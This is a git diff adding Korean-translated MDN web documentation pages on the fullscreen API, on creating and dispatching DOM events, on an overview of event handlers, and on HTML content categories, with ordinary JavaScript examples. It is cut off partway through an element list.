+<h3 id="Toggling_full-screen_mode">Toggling full-screen mode</h3>
+
+<p>이 코드는 사용자가 <kbd>Enter</kbd> 키를 누를 때, 위의 이벤트 핸들러에 의해 호출됩니다.</p>
+
+<pre class="brush: js">function toggleFullScreen() {
+  if (!document.fullscreenElement) {
+    document.documentElement.requestFullscreen();
+  } else {
+    if (document.exitFullscreen) {
+      document.exitFullscreen();
+    }
+  }
+}</pre>
+
+<p>먼저 {{DOMxRef("Document", "document")}}의 <code>fullscreenElement</code> 속성(attribute)값을 살펴보겠습니다. 실제 배포 시에는 이 시점에 접두어가 붙은 버전(예를들어, <code>mozFullscreenElement</code>, <code>msFullscreenElement</code>, <code>webkitFullscreenElement</code>)을 확인해야 합니다. 값이 <code>null</code>인 경우, 문서는 현재 window mode에 있으므로, full-screen mode로 전환해야 합니다. 그렇지 않으면, 이 요소는 지금 full-screen mode 상태입니다. full-screen mode로 전환하는 작업은, {{HTMLElement("video")}}요소에서 {{DOMxRef("Element.requestFullscreen()")}}을 호출하여 수행합니다.</p>
+
+<p>full-screen mode가 이미 활성화 된 경우(<code>fullscreenElement</code> 가 <code>null</code>이 아닌 경우), <code>document</code>에서 {{DOMxRef("Document.exitFullscreen", "exitFullscreen()")}}을 호출하여 full-screen mode를 종료합니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Fullscreen")}}</td>
+ <td>{{Spec2("Fullscreen")}}</td>
+ <td>Initial version.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="Document.fullscreen"><code>Document.fullscreen</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.Document.fullscreen")}}</p>
+
+<h3 id="Document.fullscreenEnabled"><code>Document.fullscreenEnabled</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.Document.fullscreenEnabled")}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fullscreen_API">Using full-screen mode</a></li>
+ <li>{{DOMxRef("Element.requestFullscreen()")}}</li>
+ <li>{{DOMxRef("Document.exitFullscreen()")}}</li>
+ <li>{{DOMxRef("Document.fullscreen")}}</li>
+ <li>{{DOMxRef("Document.fullscreenElement")}}</li>
+ <li>{{CSSxRef(":fullscreen")}}, {{CSSxRef("::backdrop")}}</li>
+ <li>{{HTMLAttrXRef("allowfullscreen", "iframe")}}</li>
+</ul>
diff --git a/files/ko/web/guide/events/creating_and_triggering_events/index.html b/files/ko/web/guide/events/creating_and_triggering_events/index.html
new file mode 100644
index 0000000000..2c19b74b88
--- /dev/null
+++ b/files/ko/web/guide/events/creating_and_triggering_events/index.html
@@ -0,0 +1,140 @@
+---
+title: 이벤트 생성 및 트리거
+slug: Web/Guide/Events/Creating_and_triggering_events
+tags:
+ - DOM
+ - NeedsContent
+ - 가이드
+ - 고급
+ - 이벤트
+ - 자바스크립트
+translation_of: Web/Guide/Events/Creating_and_triggering_events
+---
+<p>이 글은 DOM 이벤트를 생성하고 디스패치하는 방법에 대해 설명합니다. 이런 이벤트는 흔히 <strong>인공 이벤트(synthetic events)</strong>라고 불리며, 브라우저 자체에서 실행되는 이벤트와 반대입니다.</p>
+
+<h2 id="커스텀_이벤트_생성하기">커스텀 이벤트 생성하기</h2>
+
+<p>다음과 같이 <a href="/en-US/docs/Web/API/Event"><code>Event</code></a> 생성자를 사용해 Events 를 생성할 수 있습니다.</p>
+
+<pre class="brush: js">var event = new Event('build');
+
+// 이벤트 리슨.
+elem.addEventListener('build', function (e) { /* ... */ }, false);
+
+// 이벤트 디스패치.
+elem.dispatchEvent(event);</pre>
+
+<p>위 코드 예제는 <a href="/ko/docs/Web/API/EventTarget/dispatchEvent">EventTarget.dispatchEvent()</a> 메소드를 사용합니다.</p>
+
+<p>이 생성자는 대부분의 최신 브라우저(Internet Exploere 는 예외)에서 지원됩니다. 더 장황한 접근법(Internet Explorer 에서도 동작하는)은, 아래 <a href="#The_old-fashioned_way" title="#The_old-fashioned_way">옛날 방식</a> 부분을 참고하세요.</p>
+
+<h3 id="커스텀_데이터_추가_–_CustomEvent()">커스텀 데이터 추가 – CustomEvent()</h3>
+
+<p>이벤트 객체에 더 많은 데이터를 추가하려면, <a href="/en-US/docs/Web/API/CustomEvent">CustomEvent</a> 인터페이스가 존재하고 <u><strong>detail</strong></u> 프로퍼티를 통해 커스텀 데이터를 전달할 수 있습니다<br>
+ <span style="line-height: 1.5;">예를 들면, 다음과 같이 이벤트가 생성될 수 있습니다.</span></p>
+
+<pre class="brush: js">var event = new CustomEvent('build', { detail: elem.dataset.time });</pre>
+
+<p>그럼 이벤트 리스너의 부가적인 데이터에 접근할 수 있게 됩니다.</p>
+
+<pre class="brush: js">function eventHandler(e) {
+ console.log('The time is: ' + e.detail);
+}
+</pre>
+
+<h3 id="옛날_방식">옛날 방식</h3>
+
+<p>생성 이벤트로의 오래된 접근법은 Java 로부터 영감을 받은 API들을 사용합니다. 다음은 그 예시를 보여줍니다.</p>
+
+<pre class="brush: js">// 이벤트 생성.
+var event = <a href="/en-US/docs/Web/API/Document/createEvent">document.createEvent</a>('Event');
+
+// 이벤트 이름을 'build' 라 정의.
+event.initEvent('build', true, true);
+
+// 이벤트 리슨.
+elem.addEventListener('build', function (e) {
+ // e.target 은 elem 과 일치
+}, false);
+
+// target 은 어떤 엘리먼트나 다른 이벤트 타켓이 될 수 있음.
+elem.dispatchEvent(event);
+
+</pre>
+
+<h3 id="이벤트_버블링">이벤트 버블링</h3>
+
+<p>자식 엘리먼트로부터 이벤트를 발생시키고 그 조상이 이를 캐치하도록 하는것은 종종 바람직합니다. 선택적으로 데이터도 함께합니다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;textarea&gt;&lt;/textarea&gt;
+&lt;/form&gt;
+</pre>
+
+<pre class="brush: js">const form = document.querySelector('form');
+const textarea = document.querySelector('textarea');
+
+// 새로운 이벤트를 생성하고, 버블링을 허용하며, "details" 프로퍼티로 전달할 데이터를 제공합니다
+const eventAwesome = new CustomEvent('awesome', {
+  bubbles: true,
+  detail: { text: () =&gt; textarea.value }
+});
+
+// form 엘리먼트는 커스텀 "awesome" 이벤트를 리슨한 후 전달된 text() 메소드의 결과를 콘솔에 출력합니다
+form.addEventListener('awesome', e =&gt; console.log(e.detail.text()));
+
+// 사용자가 입력한대로, form 내의 textarea 는 이벤트를 디스패치/트리거하여 시작점으로 사용합니다
+textarea.addEventListener('input', e =&gt; e.target.dispatchEvent(eventAwesome));
+</pre>
+
+<h3 id="이벤트를_동적으로_생성하고_디스패칭하기">이벤트를 동적으로 생성하고 디스패칭하기</h3>
+
+<p>엘리먼트는 아직 생성되지 않은 이벤트를 리슨할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;textarea&gt;&lt;/textarea&gt;
+&lt;/form&gt;
+</pre>
+
+<pre class="brush: js">const form = document.querySelector('form');
+const textarea = document.querySelector('textarea');
+
+form.addEventListener('awesome', e =&gt; console.log(e.detail.text()));
+
+textarea.addEventListener('input', function() {
+  // 이벤트 즉시 생성 및 디스패치/트리거
+  // 노트: 선택적으로, 우리는 "함수 표현"("화살표 함수 표현" 대신)을 사용하므로 "this"는 엘리먼트를 나타냅니다
+  this.dispatchEvent(new CustomEvent('awesome', { bubbles: true, detail: { text: () =&gt; textarea.value } }))
+});
+</pre>
+
+<h2 id="내장_이벤트_트리거">내장 이벤트 트리거</h2>
+
+<p>이 예제는 DOM 메소드를 사용해 체크박스에 클릭을 시뮬레이팅하는 것을 보여줍니다(클릭 이벤트를 프로그래밍적으로 발생시키는 것입니다). <a class="external" href="http://developer.mozilla.org/samples/domref/dispatchEvent.html">동작하는 예제를 확인하세요.</a></p>
+
+<pre class="brush: js">function simulateClick() {
+ var event = new MouseEvent('click', {
+ view: window,
+ bubbles: true,
+ cancelable: true
+ });
+ var cb = document.getElementById('checkbox');
+ var cancelled = !cb.dispatchEvent(event);
+ if (cancelled) {
+ // 핸들러가 preventDefault 를 호출했음.
+ alert("cancelled");
+ } else {
+ // 어떤 핸들러도 preventDefault 를 호출하지 않음.
+ alert("not cancelled");
+ }
+}</pre>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/CustomEvent/CustomEvent">CustomEvent()</a></li>
+ <li>{{domxref("document.createEvent()")}}</li>
+ <li>{{domxref("Event.initEvent()")}}</li>
+ <li>{{domxref("EventTarget.dispatchEvent()")}}</li>
+ <li>{{domxref("EventTarget.addEventListener()")}}</li>
+</ul>
diff --git a/files/ko/web/guide/events/index.html b/files/ko/web/guide/events/index.html
new file mode 100644
index 0000000000..e952840d8e
--- /dev/null
+++ b/files/ko/web/guide/events/index.html
@@ -0,0 +1,51 @@
+---
+title: Event developer guide
+slug: Web/Guide/Events
+tags:
+ - DOM
+ - Event
+ - Guide
+ - NeedsUpdate
+ - events
+translation_of: Web/Guide/Events
+---
+<p>{{draft()}}</p>
+
+<p>Events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types.</p>
+
+<p>The <a href="/en-US/docs/Web/Guide/API/DOM/Events/Overview_of_Events_and_Handlers">overview page</a> provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers.</p>
+
+<p>The <a href="/en-US/docs/Web/Guide/API/DOM/Events/Creating_and_triggering_events">custom events page</a> describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code.</p>
+
+<p>The remaining pages describe how to use events of different kinds defined by web browsers. Unfortunately, these events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern web browsers.</p>
+
+<p>The <strong>device</strong> on which the web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained">page on orientation coordinate systems</a> and the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Using_device_orientation_with_3D_transforms">page on the use of 3D transforms</a>. That is different, but similar, to the change in device vertical orientation. </p>
+
+<p>The <strong>window</strong> in which the browser is displayed which might trigger events, for example, change size if the user maximizes the window or otherwise changes it.</p>
+
+<p>The <strong>process</strong> loading of a web page might trigger events in response to the completion of different steps in the downloading, parsing, and rendering of the web page for display to the user.</p>
+
+<p>The <strong>user interaction</strong> with the web page contents might trigger events. The events triggered by user interaction evolved during the early years of browser design and include a complicated system defining the sequence in which events will be called and the manner in which that sequence can be controlled. The different types of user interaction driven events include:</p>
+
+<ul>
+ <li>the original 'click' event,</li>
+ <li>mouse events,</li>
+ <li><a href="/en-US/docs/Web/Guide/API/DOM/Events/Mouse_gesture_events">mouse gesture events</a>, and</li>
+ <li>both <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events">touch events</a> and the earlier, but deprecated, <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events_(Mozilla_experimental)">mozilla experimental touch events</a>.</li>
+</ul>
+
+<p>The <strong>modification of the web page</strong> in structure or content might trigger some events, as is explained in the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Mutation_events">mutation events page</a>, but the use of these events has been deprecated in favour of the lighter <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer</a> approach.</p>
+
+<p>The <strong>media streams</strong> embedded in the HTML documents might trigger some events, as explained in the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Media_events">media events</a> page.</p>
+
+<p>The <strong>network requests</strong> made by a web page might trigger some events.</p>
+
+<p>There are many other sources of events defined by web browsers for which pages are not yet available in this guide.</p>
+
+<div class="note">
+<p>Note: This Event Developer Guide needs substantial work. The structure needs to be reorganized and the pages rewritten. Our hope is that everything you need to know about events will go under here.</p>
+</div>
+
+<h2 id="Docs">Docs</h2>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/web/guide/events/overview_of_events_and_handlers/index.html b/files/ko/web/guide/events/overview_of_events_and_handlers/index.html
new file mode 100644
index 0000000000..c3f1a9205a
--- /dev/null
+++ b/files/ko/web/guide/events/overview_of_events_and_handlers/index.html
@@ -0,0 +1,142 @@
+---
+title: Overview of Events and Handlers
+slug: Web/Guide/Events/Overview_of_Events_and_Handlers
+translation_of: Web/Guide/Events/Overview_of_Events_and_Handlers
+---
+<div class="summary">
+<p> 이 글은 이벤트 및 이벤트 핸들링(event handling)에 대한 개요로서, 웹 페이지가 열려있는 동안 일어나는 사건(incident)에 대해 반응할 수 있도록 하는 코드 설계 패턴에 대해 설명하고, 현 세대의 웹 브라우저에서 핸들링할 수 있는 사건의 종류에 대해 요약한다.</p>
+</div>
+
+<p> 이벤트와 이벤트 핸들링은 웹 페이지가 사용자에 의해 열린 상태를 유지하는 동안 일어나는 사건에 대한 반응을 구현하기 위한 자바스크립트의 핵심적인 기술이다. 이러한 사건에는 페이지가 전시(display)되기 위한 준비과정 중 일어나는 사건, 웹 페이지상의 컨텐츠와 사용자의 상호작용에 의한 사건, 브라우저가 실행되는 기반 장치와 관련된 사건, 매체 스트림(media stream) 재생이나 애니메이션 시간 간격 등 기타 요인에 의한 사건 등이 있다.</p>
+
+<p> 이벤트와 이벤트 핸들링은 자바스크립트가 처음 도입된 시점부터 중심적인 역할을 했으며, 이와 함께 브라우저의 렌더링 아키텍처 역시 단일 처리경로(single pass) 페이지 렌더링으로부터 리플로우(reflow) 기반, 이벤트 구동식(driven) 페이지 렌더링 개념으로 바뀌었다.</p>
+
+<p> 최초에는 브라우저는 페이지의 모든 부분에 대한 문법분석(parse), 처리(process), 그리기(draw) 및 사용자에게 표현(present)까지의 모든 과정이 끝날 때까지 대기하고, 페이지 작업이 끝나면 그 상태로 바뀌지 않고 새 페이지 요청이 있어서 가져오기(fetch)작업이 일어나기 전까지는 그대로의 모습을 유지했다. </p>
+
+<p> 리플로우 기반 이벤트 구동식 페이지 렌더링 개념으로 바뀐 뒤에는 브라우저는 처리, 그리기, 컨텐츠 표현(present), 반복순환작업을 다시 개시하도록 하는 이벤트 트리거에 대한 대기 등의 작업을 반복순환(loop)하여 수행한다. 이 이벤트 트리거라는 것은 이벤트를 발생하게 하는 사건을 이르는 것으로서, 네트워크상의 자원 로드 완료( 예 : 이미지가 다운로드되어 화면상에 그릴 수 있게 됨), 브라우저에 의한 자원의 문법분석 완료( 예 : HTML페이지 처리가 끝남) 페이지의 컨텐츠와 사용자와의 상호작용(예 : 버튼을 클릭한다) 등이 이러한 사건이 될 수 있다.</p>
+
+<p> 더글라스 크록포드는 <em>An inconvenient API : The theory of the DOM(불편한 API : DOM의 이론)</em>이라는 제목의 강연에서 이러한 변화를 여러 단원에 걸쳐 설명하였는데, 본래의 작업 흐름에서 이벤트 구동식 브라우저의 작업 흐름으로 바뀌는 것을 다음과 같이 보여주었다.</p>
+
+<div style="margin: 0 auto; width: 68%;"><img alt="A comparison of the sequential and event-driven browser load sequences." src="https://mdn.mozillademos.org/files/6641/Browser_sequence_comparitive.svg" style="height: 454px; width: 1857px;"></div>
+
+<p> 두 번째 그림에 보이는 처리방식은 마지막 단계의 작업흐름을 변화시킴으로써 첫 번째 그림의 단일 경로 처리흐름에서 반복순환 흐름으로 바뀐 것을 보여준다. 두 번째 그림은 Paint작업이 끝나면 새로운 이벤트 발생에 대한 처리(이벤트 핸들링)를 하기 위해 이벤트를 기다리게 된다. 이 혁신적인 개념을 이용하면 자원을 다 획득하지 않았더라도 페이지를 부분적으로 렌더링하는 것이 가능하며, 최초에는 자바스크립트에 의해 발전된 이벤트 구동에 의한 동작 효과적으로 구현할 수 있다. (이 강의는 <a href="http://www.youtube.com/watch?v=Y2Y0U-2qJMs">여기</a>를 포함한 다양한 경로로 볼 수 있다) 현재 모든 자바스크립트 코드 실행 환경에서는 이벤트와 이벤트 핸들링을 사용한다.</p>
+
+<h2 id="이벤트_설계_패턴">이벤트 설계 패턴</h2>
+
+<p>이벤트 시스템은 근본적으로는 단순한 프로그래밍 설계 패턴이다. 이 패턴는 기본적으로 이벤트의 종류와 다음 사항에 대해 합의된 약속을 기반으로 한다.</p>
+
+<ul>
+ <li>각 이벤트를 가리키는 이벤트명 문자열</li>
+ <li>각 이벤트의 핵심 프로퍼티를 나타내기 위한 자료구조의 형식</li>
+ <li>각 이벤트를 발동할 자바스크립트 객체</li>
+</ul>
+
+<p>패턴을 구현하기 위해서는 다음이 필요하다.</p>
+
+<ul>
+ <li>위에서 약속된 자료구조를 인수로 받는 자바스크립트 함수를 정의한다.</li>
+ <li>이벤트를 발동할 객체에 약속된 해당 이벤트의 이벤트명을 사용하여 위의 함수를 등록한다.</li>
+</ul>
+
+<p>이 함수는 리스너(listener) 또는 핸들러(handler)라는 혼용된 명칭으로 불린다. 이 패턴은 <a href="/ko/docs/Web/Guide/API/DOM/Events/Creating_and_triggering_events">커스텀 이벤트에 관한 글</a>에서 설명한 대로의 완전한 커스텀 이벤트를 사용하여 쉽게 구현할 수 있다. 이 패턴은 사용자 입력, 브라우저 활동 등에 의해 발동되는 다양한 이벤트를 정의하는 최신 웹 브라우저에서도 많이 사용한다.</p>
+
+<p> 최신 웹 브라우저는 이 이벤트 패턴을 표준화된 방식으로 구현한다. 브라우저는 어떤 이벤트의 프로퍼티를 나타내는 자료 구조로서  <code>EventPrototype</code> 객체를 원천으로 하는 어떤 객체를 사용한다. 또한 이러한 자료구조를 핸들링할 함수에 대한 등록 메소드로서 <code>addEventListener </code>메소드를 사용하는데 이것은 인수로서 이벤트명과 핸들러 함수를 받는다<code>.</code> 마지막으로 브라우저는 이벤트 발동자(emitter)로 수많은 객체를 정의하며 또한 이 객체들에 의해 생성되는 여러 이벤트형(event type)을 정의한다.</p>
+
+<h2 id="Button_Event_Handler" name="Button_Event_Handler">버튼 이벤트 핸들러 데모</h2>
+
+<p>하나의 예시로서 브라우저 <code>button 요소(element)는 'click'이라는 이름의 이벤트를 마우스 클릭 또는 터치스크린의 경우 손가락 터치에 반응하여 발동시킨다.</code> 버튼은 HTML 페이지에서 다음과 같이 정의할 수 있다.</p>
+
+<pre class="brush: html">&lt;button id="buttonOne"&gt;Click here to emit a 'click' event&lt;/button&gt;</pre>
+
+<p>그리고 자바스크립트 코드에서 'click' 이벤트에 대한 리스너로서의 함수, 즉 핸들러로 사용할 함수를 정의한다.</p>
+
+<pre class="brush: js">var example_click_handler = function (ev){
+ var objKind = (ev instanceof Event) ? "EventPrototype" : "ObjectPrototype";
+ alert("We got a click event at " + ev.timeStamp + " with an argument object derived from: " + objKind );
+};</pre>
+
+<p>그 다음 해당 <code>Button</code> 객체와 함께 위의 함수를 등록하는데, 첫 번째 방법은 HTML 페이지의 DOM(문서 객체 모델) 표현법을 이용하여 다음과 같이 스크립트상에서 나타내는 방법이다. </p>
+
+<pre class="brush: js">var buttonDOMElement = document.querySelector('#buttonOne');
+buttonDOMElement.addEventListener('click', example_click_handler);</pre>
+
+<p>또 다른 방법은 HTML 페이지 상에서 'onclick' 애트리뷰트의 값으로 핸들러로 쓸 함수를 대입시키는 것인데, 보통 이 방식은 매우 단순한 웹 페이지에서나 쓰인다.</p>
+
+<p>{{ EmbedLiveSample('Button_Event_Handler') }}</p>
+
+<p>This code relies on the agreement that there is a kind of event called <code>'click'</code> which will call any listener (or 'handler') function with an <code>Event</code> object argument (actually, in this case a derivative <code>MouseEvent</code> object) and which will be fired by HTML <code>button</code> elements after user interaction. The code has no visible effect until a user interacts with the button either by placing the mouse pointer over the HTML button and clicking on the left mouse button or by placing a finger or stylus of some kind on the screen above the HTML button; when that happens, the <code>buttonDOMElement</code> Javascript object would call the <code>example_click_handler</code> function with an <code>Event</code> object as an argument. The function, in turn, would perform whatever action was chosen by the programmer, in this case to open an HTML alert dialog. Note that the handler has access to the <code>ev</code> object since it is passed as an argument; the object has information about the event, notably the time at which the event occurred.</p>
+
+<p>As a second example, much modern Javascript integrated into web pages is wrapped into an event function call to ensure that the code is only executed when the HTML has been processed and is available for alteration or decoration. For example, code might be attached as:</p>
+
+<pre class="brush: js">var funcInit = function(){
+ // user code goes here and can safetly address all the HTML elements from the page
+ // since the document has successfully been 'loaded'
+}
+document.addEventListener('DOMContentLoaded', funcInit);
+</pre>
+
+<p>so that this code will only be executed after the <code>document</code> object emits the <code>'DOMContentLoaded'</code> event because the HTML has been parsed and Javasript objects created representing each of the nodes of the HTML document. Note that in this example, the code does not even name the event argument to the function because the code never needs to use the data structure describing the event; rather, the code merely needs to wait to run until after then event has happened.</p>
+
+<p>The pattern is therefore easy to learn and implement. The difficulty with events comes from learning the wide variety of events which are generated in modern web browsers. There is also some subtlety in learning how to write the handler functions since such code works asynchronously and potentially will run repeatedly but in slightly different situations.</p>
+
+<h2 id="Notable_events">Notable events</h2>
+
+<p>Web browsers define a large number of events so it is not practical to list them all. The <a href="/en-US/docs/Web/Reference/Events">Event Reference</a> attempts to maintain a list of the standard Events used in modern web browsers.</p>
+
+<p>In general, we can distinguish events of different kinds based on the object emitting the event including:</p>
+
+<ul>
+ <li>the <code>window</code> object, such as due to resizing the browser,</li>
+ <li>the <code>window.screen</code> object, such as due to changes in device orientation,</li>
+ <li>the <code>document</code> object, including the loading, modification, user interaction, and unloading of the page,</li>
+ <li>the objects in the DOM (document object model) tree including user interactions or modifications,</li>
+ <li>the <code>XMLHttpRequest</code> objects used for network requests, and</li>
+ <li>the media objects such as <code>audio</code> and <code>video</code>, when the media stream players change state.</li>
+</ul>
+
+<p>although this list is currently incomplete.</p>
+
+<p>Some notable events are:</p>
+
+<div class="note">
+<p><strong>Note:</strong> This list of will need work to make relevant; that work is awaiting some global reorganization work on the documents. This will also need finding a good explanation of the events involved during page loading, such as discussed partially in <em><a href="http://ablogaboutcode.com/2011/06/14/how-javascript-loading-works-domcontentloaded-and-onload/">this web page</a> or in <a href="http://stackoverflow.com/questions/1795438/load-and-execution-sequence-of-a-web-page">this Stack Overflow question</a>. </em></p>
+</div>
+
+<ul>
+ <li>the global object <a href="/en-US/docs/Web/API/Window"><code>window</code></a> emits an event called <a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)"><code>'load'</code></a> when the page has finished rendering, meaning that all resources have been downloaded and acted upon, so that the scripts have been run and the images displayed,</li>
+ <li>the global object <a href="/en-US/docs/Web/API/Window"><code>window</code></a> emits an event called <a href="/en-US/docs/Web/Reference/Events/resize"><code>'resize'</code></a> when the height or the width of the browser window is changed by a user,</li>
+ <li>the DOM object <a href="/en-US/docs/Web/API/Document"><code>document</code></a> representing the HTML document emits an event called<code> <a href="/en-US/docs/Web/Reference/Events/DOMContentLoaded">'DOMContentLoaded'</a></code> when the document has finished loading,</li>
+ <li>the DOM node objects such as <a href="/en-US/docs/Web/HTML/Element/div"><code>div</code></a> or <a href="/en-US/docs/Web/HTML/Element/button"><code>button</code></a> emit an event called <a href="/en-US/docs/Web/Reference/Events/click"><code>'click'</code></a> when the user presses the mouse button while the mouse pointer is on top of the DOM node in the HTML page.</li>
+</ul>
+
+<p> </p>
+
+<h2 id="The_Event_object_hierarchy">The Event object hierarchy</h2>
+
+<p>The web browser defines many events of different kinds. Each definition includes, as the data structure passed to the handler function, an object which inherits from the <code>EventPrototype</code> object.</p>
+
+<p>A partial diagram of the class hierarchy of event objects is:</p>
+
+<div class="note">
+<p><strong>Note:</strong> This diagram is incomplete.</p>
+</div>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6633/Js_Event_Object_Hierarchy.svg" style="height: 496px; width: 1417px;"></p>
+
+<p>The Web API Documentation contains <a href="/en-US/docs/Web/API/Event">a page defining the Event object</a> which also includes the known DOM event subclasses of the <code>Event</code> object.</p>
+
+<h2 id="Documents">Documents</h2>
+
+<p>Three sources on the MDN (Mozilla Developer Network) web site are particularly useful for programmers wanting to work with events:</p>
+
+<ul>
+ <li>this <a href="/en-US/docs/Web/Guide/API/DOM/Events">Event Guide</a> which is part of the <a href="/en-US/docs/Web/Guide">Web Developers' Guide</a>,</li>
+ <li>the <a href="/en-US/docs/Web/Reference/Events">Event Reference</a>,</li>
+ <li>the Web API documentation for the <a href="/en-US/docs/Web/API/Event"><code>Event</code></a> object.</li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/ko/web/guide/html/content_categories/index.html b/files/ko/web/guide/html/content_categories/index.html
new file mode 100644
index 0000000000..cd6261c446
--- /dev/null
+++ b/files/ko/web/guide/html/content_categories/index.html
@@ -0,0 +1,180 @@
+---
+title: 콘텐츠 카테고리
+slug: Web/Guide/HTML/Content_categories
+tags:
+ - Advanced
+ - Guide
+ - HTML
+ - HTML5
+ - Web
+translation_of: Web/Guide/HTML/Content_categories
+---
+<div>{{HTMLSidebar}}</div>
+
+<p><span class="seoSummary">모든 <a href="/ko/docs/Web/HTML">HTML</a> 요소는 특성을 공유하는 요소끼리 묶는 <strong>콘텐츠 카테고리</strong> 한 가지 이상에 속합니다.</span> 콘텐츠 카테고리는 느슨한 관계로 서로 간에 어떤 관계를 형성하지는 않지만, 카테고리에서 공유하는 동작이나 관련 규칙을 정의하고 설명할 때, 특히 복잡한 세부사항을 포함할 때는 더욱 도움이 됩니다. 요소가 아무런 카테고리에도 속하지 않는 것 역시 가능합니다.</p>
+
+<p>콘텐츠 카테고리의 유형은 다음의 세 가지가 있습니다.</p>
+
+<ul>
+ <li>메인 콘텐츠 카테고리는 여러 요소가 서로 공유하는 일반적인 콘텐츠 규칙을 설명합니다.</li>
+ <li>폼 관련 콘텐츠 카테고리는 입력 폼 관련 요소가 공통으로 가지는 규칙을 설명합니다.</li>
+ <li>특정 콘텐츠 카테고리는 소수의 요소만 공유하는 카테고리를 설명하며, 특정 문맥에서만 유효하기도 합니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 콘텐츠 카테고리의 상세 내용과 서로간의 비교는 이 글의 범위를 벗어납니다. 궁금하시다면 <a href="https://html.spec.whatwg.org/multipage/dom.html#kinds-of-content">HTML 명세의 관련 항목</a>을 읽어보세요.</p>
+</div>
+
+<div style="width: 50%;"><a href="https://developer.mozilla.org/@api/deki/files/6244/=Content_categories_venn.png"><img alt="A Venn diagram showing how the various content categories interrelate. The following sections explain these relationships in text." src="https://developer.mozilla.org/@api/deki/files/6244/=Content_categories_venn.png?size=webview"></a></div>
+
+<h2 id="메인_콘텐츠_카테고리">메인 콘텐츠 카테고리</h2>
+
+<h3 id="메타데이터_콘텐츠">메타데이터 콘텐츠</h3>
+
+<p>메타데이터 콘텐츠 카테고리에 속한 요소는 문서의 표현이나 동작을 수정하거나, 다른 문서를 가리키는 링크를 설정하거나, 기타 "대역 외 정보"를 전달합니다.</p>
+
+<p>{{HTMLElement("base")}}, {{obsolete_inline}}{{HTMLElement("command")}}, {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, {{HTMLElement("title")}}</p>
+
+<h3 id="플로우_콘텐츠"><a name="flow_content">플로우 콘텐츠</a></h3>
+
+<p>플로우 콘텐츠 카테고리에 속한 요소는 보통 텍스트나 내장 콘텐츠를 포함합니다.</p>
+
+<p>{{HTMLElement("a")}}, {{HTMLElement("abbr")}}, {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}},{{HTMLElement("bdo")}}, {{HTMLElement("bdi")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{obsolete_inline}}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("del")}}, {{HTMLElement("details")}}, {{HTMLElement("dfn")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("ins")}}, {{HTMLElement("kbd")}}, {{deprecated_inline}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("main")}}, {{HTMLElement("map")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("menu")}}, {{HTMLElement("meter")}}, {{HTMLElement("nav")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("ol")}}, {{HTMLElement("output")}}, {{HTMLElement("p")}}, {{HTMLElement("picture")}}, {{HTMLElement("pre")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("s")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("section")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, 